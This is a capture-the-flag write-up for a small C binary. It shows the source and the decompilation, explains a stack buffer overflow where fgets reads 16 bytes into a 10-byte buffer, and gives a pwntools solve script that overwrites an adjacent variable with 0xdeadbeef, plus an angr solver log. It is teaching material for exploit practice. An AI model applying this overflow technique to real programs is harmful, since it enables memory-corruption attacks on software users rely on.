#rop
# Understanding the Challenge
The source code of the binary is provided and shown below:
## Source
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
//gcc vuln.c -fno-stack-protector -o vuln
int read_flag() {
char flag[32] = {0};
FILE *fd = NULL;
fd = fopen("flag.txt","r");
if(fd == NULL) {
puts("Something went wrong while opening the flag file.");
exit(-1);
}
fgets(flag, 0x30, fd);
printf("The flag is: %s\n", flag);
exit(1);
}
int main() {
int password;
char buf[10];
char *var;
puts("Hey, how are you doing today?");
fgets(buf,0x10,stdin);
var = strtok(buf,"-");
if (!strcmp(var,"good") && password == 0xdeadbeef) {
read_flag();
}
puts("I guess u just were doing good enough. ¯\\_(ツ)_/¯ ");
}
```
We can see the main function and a "win" function that will print the flag.
Pretending that we did not have the source, we ca use binaryninja to lift the decompilation to HLIL (decompilation).
## Decompilation
```python
int64_t read_flag() __noreturn
int64_t var_38 = 0
int64_t var_30 = 0
int64_t var_28 = 0
int64_t var_20 = 0
int64_t var_10 = 0
FILE* rax = fopen(filename: "flag.txt", mode: &data_2008)
if (rax != 0)
fgets(buf: &var_38, n: 0x30, fp: rax)
printf(format: "The flag is: %s\n", &var_38)
exit(status: 1)
noreturn
puts(str: "Something went wrong while opening the flag file.")
exit(status: 0xffffffff)
noreturn
int32_t main(int32_t arg1, char** arg2, char** arg3)
void var_1e {Frame offset -1e}
int32_t var_14 {Frame offset -14}
char** arg3 {Register rdx}
char** arg2 {Register rsi}
int32_t arg1 {Register rdi}
puts(str: "Hey, how are you doing today?")
void var_1e
fgets(buf: &var_1e, n: 0x10, fp: stdin)
int32_t var_14
if (strcmp(strtok(s: &var_1e, delim: &data_2079), "good") == 0 && var_14 == 0xdeadbeef)
read_flag()
noreturn
puts(str: &data_2080)
return 0
```
# The Vuln
The vulnerability may be hard to spot in the [C Source](#Source) because the vulnerable snippet is :
```c
char buf[10];
...
fgets(buf,0x10,stdin);
```
We can write 0x10(16) bytes into a 0xa(10) byte buffer. Therefore we can overwrite the next 6 bytes on the stack.
Taking a look at the [Decompilation](#Decompilation), its a little easier to spot.
```python
void var_1e {Frame offset -1e}
int32_t var_14 {Frame offset -14}
...
void var_1e
fgets(buf: &var_1e, n: 0x10, fp: stdin)
```
We can see that we are reading 0x10 bytes into the variable on the stack. Retyping the variable `var_1e` and renaming it will get us a better understanding. We know the input is 0x10 bytes so we can retype to `char[0x10]`
The new decompilation looks like:
```python
int32_t main(int32_t arg1, char** arg2, char** arg3)
char input[0x10] {Frame offset -1e}
char** arg3 {Register rdx}
char** arg2 {Register rsi}
int32_t arg1 {Register rdi}
puts(str: "Hey, how are you doing today?")
char input[0x10]
fgets(buf: &input, n: 0x10, fp: stdin)
input[0xe].q = strtok(s: &input, delim: "-")
if (strcmp(input[0xe].q, "good") == 0 && input[0xa].d == 0xdeadbeef)
read_flag()
noreturn
puts(str: &data_2080)
return 0
```
We can see that we actual control whats on the stack passed the input buffer, the 4 bytes at `input[0xa]` are controllable.
Another way we can find that out is by looking at the unmodified stack variable list:
```python
void var_1e {Frame offset -1e}
int32_t var_14 {Frame offset -14}
...
```
By subtracting 0x1e and 0x14 we can tell that after 10 bytes we start overwriting `var_14`.
# Exploitation
We can overflow the input buffer and write 0xdeadbeef. We must also satisfy the constraint with the `strtok` and `strcmp`
We can use `pwntools` to interact with the binary with the following template:
```python
from pwn import *
context.binary = elf = ELF("./vuln")
io = elf.process()
io.interactive()
```
## Bypassing first condition
The binary calls `var = strtok(input,"-")` and then calls `strcmp(var,"good")`
This means our input must contain `-` and directly after the `-` have the string `good\x00`. Notice the null byte, the null byte is needed otherwise the strcmp function will compare the `good` plus the rest of the payload and therefor not pass the check.
```python
from pwn import *
context.binary = elf = ELF("./vuln")
io = elf.process()
payload = b""
payload += b"-good\x00"
print(repr(payload))
io.sendline(payload)
io.interactive()
```
## Bypassing second condition
We can use the overflow to write `0xdeadbeef` in the corect stack location. Because the binary is an x86 64bit program we need to write the value in little endian, which is:
`\xef\xbe\xad\xde` (only need 4 bytes really because of `input[0xa].d == 0xdeadbeef` means just the dword)
However pwntools can do that as well with `p64(0xdeadbeef)`.
We can use `ljust` to pad the current payload to 10 bytes of junk (A) and then write `0xdeadbeef`
# Solve
```python
from pwn import *
context.binary = elf = ELF("./vuln")
io = elf.process()
payload = b""
payload += b"-good\x00"
payload = payload.ljust(10,b"A")
payload += p64(0xdeadbeef)
io.sendline(payload)
io.interactive()
```
# Bonus
Autosolve ALMOST works.
Angr sucks with strtok for some reason
```
User input at 0x101281
C-Code: fgets((char *)&local_38,0x30,local_10)
Control Param: 0
Size: 48
User input at 0x1012d3
C-Code: fgets(local_1e,0x10,stdin)
Control Param: 0
Size: 16
user defined sink
Address: 0x101314
C-Code: None
[!] Path is reachable!
Sink reachable with input: b'\x00good\x00AAAA\xef\xbe\xad\xde\xe3\xff'
```
The first nullbyte needs to be `-`
![[Pasted image 20210720121756.png]]